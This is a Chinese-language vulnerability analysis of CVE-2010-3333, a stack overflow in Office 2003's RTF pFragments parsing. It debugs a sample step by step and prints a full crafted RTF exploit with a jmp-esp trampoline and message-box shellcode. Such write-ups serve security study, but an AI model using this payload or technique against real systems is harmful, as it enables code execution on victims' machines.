漏洞丨cve2010-3333

作者:黑蛋
一、漏洞簡(jiǎn)介
cve-2010-3333是一個(gè)Office 2003 的棧溢出漏洞,其原因是在文檔中讀取一個(gè)屬性值的時(shí)候,沒(méi)有對(duì)其長(zhǎng)度驗(yàn)證,導(dǎo)致了一個(gè)溢出,看著很簡(jiǎn)單的一個(gè)漏洞,卻又有點(diǎn)惡心人。
二、漏洞環(huán)境
系統(tǒng)
調(diào)試工具
目標(biāo)程序
16進(jìn)制編輯器
XP SP3
x32dbg
Microsoft Office 2003
010Editor
三、漏洞分析
首先用msf獲取樣本:
?
?把我們的樣本拖到XP SP3中,用x32dbg附加office 2003,打開(kāi)樣本:
?
卡在了這里,這是一個(gè)字符串拷貝,ESI指向的值拷貝到EDI指向的位置:
我們?cè)谶@句前面下斷點(diǎn),重新用office 2003打開(kāi)樣本:
卡在了我們斷點(diǎn)處:
在這里我們首先可以獲取到拷貝長(zhǎng)度的值,ECX的值,是:C8AC,我們查看esi的值:
F8運(yùn)行倆步,走過(guò)rep movsd,我們?cè)俨榭炊褩#?/p>
可以看到,ESI地址指向的值已經(jīng)拷貝到了棧中EBP-10的位置向下。而返回地址在EBP+4的位置,我們已經(jīng)可以確定淹沒(méi)返回值的位置了。我們繼續(xù)F8,但是發(fā)現(xiàn)程序跑飛,并沒(méi)有按照正常流程發(fā)展,經(jīng)過(guò)思考,應(yīng)該是拷貝字符串過(guò)長(zhǎng),訪問(wèn)l無(wú)法訪問(wèn)的地址,導(dǎo)致異常,所以我們需要減少字符串拷貝長(zhǎng)度,也就是異常代碼上一句的ECX的值C8AC,直接用010Editor查看樣本,很容易發(fā)現(xiàn)C8AC:
我們修改為1000,已經(jīng)夠我們用了,試試還會(huì)不會(huì)異常:
重新附加office2003并打開(kāi)樣本,ECX的值已經(jīng)變成01000,并且可以不觸發(fā)異常,正常走下去:
隨后我們會(huì)發(fā)現(xiàn),并沒(méi)有出現(xiàn)彈棧返回的情況,觀察這段溢出函數(shù):
他并沒(méi)有開(kāi)辟新的棧,這里算是這個(gè)漏洞第一個(gè)惡心點(diǎn),我們需要繼續(xù)F8向下運(yùn)行,直到這個(gè)函數(shù)返回,也就是執(zhí)行完拷貝代碼下面的第一個(gè)ret:
箭頭指向的call就是關(guān)鍵call,他沒(méi)有開(kāi)辟棧空間,所以還需要向下執(zhí)行:
F8走過(guò)接下來(lái)一個(gè)call,到了這里:
一直跟,直到返回到EBP+4的地址,結(jié)果一直到一個(gè)循環(huán)里面來(lái)回跑(第二個(gè)惡心點(diǎn)),我們重新加載,進(jìn)入前面F8略過(guò)得call,下面斷點(diǎn)那里:
進(jìn)來(lái)了,繼續(xù)調(diào)試:
結(jié)果發(fā)現(xiàn)還是進(jìn)入了之前那個(gè)循環(huán),所以繼續(xù)重新調(diào)試,回到第二個(gè)call里面,發(fā)現(xiàn)里面有個(gè)call很關(guān)鍵,導(dǎo)致函數(shù)無(wú)法返回,進(jìn)入一個(gè)循環(huán):
我們?cè)趈e這里修改標(biāo)志位,跳過(guò)這個(gè)循環(huán)call:
然后一直F8,直到一個(gè)ret 14:
我們觀察堆棧,這里就是我們想要的返回,只要淹沒(méi)EBP+4的返回值,在這個(gè)ret我們就可以跳到shellcode,接下來(lái)我們需要觀察如何讓之前那個(gè)je跳轉(zhuǎn),而不是手動(dòng)修改標(biāo)志位,再次加載,回到第二個(gè)call(淹沒(méi)代碼ret后第一個(gè)call):
發(fā)現(xiàn)這里EBP+10的值如果是0,就可以進(jìn)行跳轉(zhuǎn),經(jīng)過(guò)觀察調(diào)試,發(fā)現(xiàn)這個(gè)值來(lái)自我們淹沒(méi)返回值的payload中的某一個(gè)位置,所以接下來(lái)我們構(gòu)造我們的payload,直接修改msf生成的樣本(注意:所有字母必須全部換成小寫(xiě)):
{\rtf1{\shp{\sp{\sn pFragments}{\sv 7;7;11111111001090909090909090900000000090909090909090901245fa7f9090909090909090909090909090909000000000fc686a0a381e686389d14f683274910c8bf48d7ef433dbb7042be366bb33325368757365725433d2648b5a308b4b0c8b491c8b098b6908ad3d6a0a381e750595ff57f895608b453c8b4c057803cd8b592003dd33ff478b34bb03f5990fbe063ac47408c1ca0703d046ebf13b54241c75e48b592403dd668b3c7b8b591c03dd032cbb955fab57613d6a0a381e75a933db53686666666668666666668bc453505053ff57fc53ff57f8909090900000}}}}
標(biāo)記1處:這里是拷貝長(zhǎng)度,不要太大,會(huì)造成異常;
標(biāo)記2處:這里是跳板jmp esp的地址;
標(biāo)記3處:這里是00000000,用來(lái)讓je跳轉(zhuǎn),不要進(jìn)入循環(huán)call;
標(biāo)記4處:這里就是彈窗shellcode起始位置;
shellcode如下:
FC686A0A381E686389D14F683274910C8BF48D7EF433DBB7042BE366BB33325368757365725433D2648B5A308B4B0C8B491C8B098B6908AD3D6A0A381E750595FF57F895608B453C8B4C057803CD8B592003DD33FF478B34BB03F5990FBE063AC47408C1CA0703D046EBF13B54241C75E48B592403DD668B3C7B8B591C03DD032CBB955FAB57613D6A0A381E75A933DB53686666666668666666668BC453505053FF57FC53FF57F8
接下來(lái)用x32dbg附加office2003,打開(kāi)我們的payload看看情況:
拷貝成功,jmp esp地址成功淹沒(méi)返回值,接下來(lái)觀察je那里是否成功:
繼續(xù)執(zhí)行,到ret 14后:
成功到了jmp esp處,而esp指向我們的shellcode位置,繼續(xù)執(zhí)行,到我們彈窗代碼:
F9運(yùn)行,彈窗成功:
在這里補(bǔ)充一下最后一個(gè)惡心點(diǎn),也是需要注意的地方,就是在構(gòu)造payload時(shí)候,無(wú)論是跳板地址,或者我們的彈窗shellcode,都要把所有大寫(xiě)改成小寫(xiě),否則加載到程序,會(huì)識(shí)別成其他東西,比如把跳板地址大寫(xiě):
用office打開(kāi)并到拷貝代碼之前:
這里7FFA4512已經(jīng)被識(shí)別成70004512。后面的彈窗shellcode也是一樣。